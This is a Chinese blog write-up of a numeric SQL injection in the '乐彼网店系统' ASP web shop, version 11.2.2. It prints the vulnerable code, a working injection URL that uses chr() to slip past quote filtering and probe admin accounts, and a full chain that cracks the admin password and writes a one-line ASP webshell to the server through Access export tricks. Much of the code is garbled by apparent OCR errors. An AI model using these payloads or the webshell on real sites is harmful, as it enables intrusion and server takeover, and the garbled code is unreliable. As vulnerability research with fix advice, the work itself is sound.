探索黑客技术攻防,实战研究与安全创新

导航菜单

乐彼网店系统致命的SQL注入漏洞

“乐彼网店系统”又名“56770 esho;系统,我想这可能与该网站系统的开发网站域名有关系。于是,打算对此系统的安全性做一个初步测试,这里选择测试的系统版本是11.2.2。“乐彼网店系统”的使用采用的是安装模式,也就是说,我们需要在自己的Web服务器上执行“乐彼网店系统”提供的“Install.asp;文件,这种安装模式是比较正规的Web系统采用的常用安装模式,由此可见,“乐彼网店系统”的开发者也是非常用心的。采用默认的配置进行安装后的效果,如图1所示。

图片8.png

清爽的界面难怪会获得用户的喜爱,我们随意点击了其中一个商品的链接,其格式为:http://*****.com,此刻,我们在该网址后面加入了常用的注入测试语句“’and l=’1’’,回车后我们发现,浏览器迅速跳转到了网站的首页地址,这样看来,要么是我们的注入测试语句有问题,要么是“乐彼网店系统”本身存在安全防范机制。为此,我们在“product”文件夹下查看“default.aspt;文件的代码,经过一番寻找,我们发现原来系统对商品的id参数进行了数字类型判断,调用了系统自己的检测函数“checknumt;,该函数的源代码如下:t;

Function CheckNum(num,back)

num= Trim(num)

IfNot IsNumeric(num) Or IsEmpty(num) Then

CheckNum= CLng(back)

Else

CheckNum= num

End If

End Function

看到上面的代码,我想很多读者就要放弃对该系统的注入漏洞测试了,其实,我们现在只是测试了一点,很难说我们还会不会有新的发现,虽然,“乐彼网店系统”的开发者很注重对SQL注入漏洞的防范,但是,我相信智者千虑必有一失。

注册一个新的用户,假设为“aiwuyat;,用该用户登录系统,我们发现系统支持发送站内信息,如图2所示。

图片9.png

我们这里新建了一个站内消息,发现在填写站内消息时,系统不需要我们输入接收消息的用户名称,据此判断这些消息是发送给系统管理员的。如图3所示。

成功发送该短消息后,我们可以在“发件箱;中看到被我们发送的消息,如图4所示。

图片10.png

此刻,如果我们点击该已被发送的短消息,系统就会进入到编辑该短消息状态,在其中,我们找到了一个删除该短消息的链接 其p; 格p; 式p; 为p; :http******/post.asp?action=del_msg;msgid=10。为什么我会对这个链接如此关注,因为系统在处理这个链接时出现了疏漏,请大家阅读下面这段代码:

Fution myuser_msg_del()

ILebi_Userld=…’Then

resonse.redirect Eshop_url;PagePath(l) ;t;?action=needlogin;HTTP_REFERER=;;

gturl()

response.End

Ed If

im del_ID

el_id= Replace(safereplace(Trim(request(;msgid;》),;,”,”,”)//这里貌似对被删除的短消息msgid

进行了安全过滤

f Rght(del_id,l)=”,”Then del_id= Left(del_id,Len(del_id)-l)

cnn.execute ;delete from [Lebi_message] where id in(”;del_id;“)and (user_id=;'; Lebi_Userld

;…or to_useF;'; Lebi_Userld;…)”//过滤后的msgid被放入到了数据库操作语句中,注意这里是删除语句

myuser_msg_del  =  CallBack(Lebi_user( 10),;.”; Lebi_word(6 8),Eshop_url  ;  PagePath(0)

;”?action=msg;action2=;;reque st(;action2”),2)

End Function

在注释中,我们看到系统对“msgid’’确实进行了安全过滤,这个过滤分为两步,其中第一步采用了“safereplace;函数,该函数的原型在“Lebi_Function.asp’’文件当中,其代码如下:

Pblic Function Safereplace(Str)

fsnull(Str) Then

Sfreplace=…’

Exit Function

End If

Sr= Replace(Str,;;;,;;)

Str= Replace(Str,;;',;;#180;;)

Str= Repace(Str,;%;,;;)

Str= Replace(Str,;;;;,;;#34;;)

Str= Replce(Str,”<”,”;lt;;)

Sr= Replace(Str,;>;,;;gt;;)

Str= Replace(Str,;$;,;;)

Safereplace= Str

End Function

看起来似乎我们没有了机会,因为“safereplace;函数中将单引号替换为了“;≠}180;”。不过,请大家注意,我们这里的“msgid;是处于一个数字型查询语句当中,不需要单引号的参与,为此,这里“safereplace;函数对单引号的过滤是徒劳的,不信,我现在证明给你看。我们修改删除短消息的网址类似这样:st.asp?acton=del_msg;msgid=10)%20and%201=(select%20count(*)%20from%20Lebi_admiser%20where%20adn_name=chr(97)%2bchr(105),解释一下这段注入代码的意思,我们在“msgid=10;的后面添加了一个“);,该括号的意思就是为了将“myuser_msg_del;函数中的数据库删除语句前半部分封闭,接着,我们利用“and;产生并列条件关系,其后的数据库语句“  l=(select%20count(*)%20from%20Lebi_adminuser%20where%20adrmn- name=chr(97)%2bchr(105);  是为了查询数据库中“Lbi aminuser’’表是不是存在一个名为“ai’’的用户,这里“Lebi adminuser;表是“乐彼网店系统’’用来存放管理员用户信息的数据库表。请大家注意,这条数据库查询语句是缺少一个右括号的,这是因为在“myser_msg_del;函数中,原本的数据库删除语句本身提供了一个右括号,这样一来,我们的注入语句就成为一个完美的整体了。

现在,如果我们当前设置的“乐彼网店系统”确是存在一个名为“ai’’的管理员用户,那么当我们在浏览器中提交上面这段网址时,我们就会发现当前用户收件箱中的短消息被顺利删除了。

为什么我们上面的注入语句会成功执行,原因很简单,我们没有使用单引号,我们利用Access内置的函数chr来巧妙地替代了单引号的作用。这样,系统原本那些用来防范注入漏洞的安全过滤函数就对我们的语句不起作用,注入漏洞就会再现江湖。

发现了注入漏洞,那么,我们就可以大胆地发挥自己的想象来猜解数据库中任意表的内容,上面的注入语句只是一个演示用例,读者可以自己结合实际来进行对注入语句的调整。

顺利猜解出管理员的用户名和md5加密密码后,我们可以借助一些网站了破解管理员的密码,之后就可以堂而皇之地登录系统的后台。进入系统后台后,我们最大的愿望就是能上传一个WebShell,很幸运,我们不必辛苦地去寻找后台是不是存在上传漏洞,“乐彼网店系统’’的后台为我们提供了数据库SQL语句执行功能,借助该功能我们完全可以实现利用Access数据库导出WebShell,如图5所示。

图片11.png

首先,我们提交一个创建数据库表的SQL语句:cre teable cmd(a varchar(50》,该语句在当前数据库中建立名为“cmd;的表;接着,向该表中插入一句话WebShell,SQL语句为:inrt into cd (a) values(’<%execute requst(chr(35))%>’),很简单是不是。现在,“cmd;表中已经有了我们的WebShell,我们需要将其导出到网站的目录下,网站的目录我们借助系统后台完全可以看到,如图6所示。

图片12.png

有了网站的根目录物理地址,就可以导出我们的WebShell了,SQL语句为:selct*ito [a] in 'C:\56770op\aiwuyan.asp;.xls’’excel4.0;’from cmd。这句代码很关键,主要是利用了Access支持将数据导出为xls格式文件的机制,同时,结合Windows 2003的一个文件名解析错误来实现将我们的WebShell导出到网站目录下。最后,不要忘了,删除“cmd;表,好用好还嘛,SQL语句为:drop table cmd。以上四步,只要操作没有问题,我们就会顺利在服务器的网站根目录下生成一句话WebShell,借助已有的一些网页客户端,我们就可以上传更大的WebShell,从而进一步控制服务器本身了。

最后,可以说“乐彼网店系统”的这个SQL注入漏洞是一个非常典型的数字型注入漏洞,它将网站系统的安全过滤函数完全变成了徒劳的无用功。系统的开发者在区别SQL注入漏洞性质的时候,没有更细心,其实,完全不必要如此费力费心的对每一个来自用户的参数都进行区分过滤,开发一个框架,让所有外部参数都经过框架的过滤,这样子做又方便又容易维护,只需要将现在已有的一些防注入系统拿来当做框架修改完善一下,就完全可以避免SQL注入漏洞的出现。

对于ASP程序来说,防注入的工作应该还是比较简单的。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐